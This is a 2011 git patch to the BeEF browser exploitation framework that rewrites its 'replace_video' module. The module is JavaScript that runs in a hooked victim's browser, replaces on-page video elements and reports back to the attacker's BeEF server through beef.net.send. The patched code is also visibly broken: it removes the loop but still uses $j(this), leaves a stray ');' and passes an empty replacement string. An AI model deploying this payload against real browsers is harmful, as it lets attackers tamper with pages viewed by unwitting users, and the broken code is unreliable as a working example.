From e8046ac35554f75d8ca70af61c5e7a15e7675830 Mon Sep 17 00:00:00 2001 From: passbe Date: Wed, 27 Apr 2011 01:18:44 +0000 Subject: [PATCH] Fixes issue 273. Safari seemed to be working fine, however I have cleaned up the JavaScript code. git-svn-id: https://beef.googlecode.com/svn/trunk@932 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/misc/replace_video/command.js | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) diff --git a/modules/misc/replace_video/command.js b/modules/misc/replace_video/command.js index 41bd4fe06..30af0088c 100644 --- a/modules/misc/replace_video/command.js +++ b/modules/misc/replace_video/command.js @@ -1,15 +1,8 @@ beef.execute(function() { - $j('<%= @jquery_selector %>').each( - function ( intIndex ) { - - var width = $j(this).css('width'); - var height = $j(this).css('height'); - - $j(this).replaceWith(''); - - } - ) - + var width = $j(this).css('width'); + var height = $j(this).css('height'); + $j(this).replaceWith(''); + ); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Succesfull"); });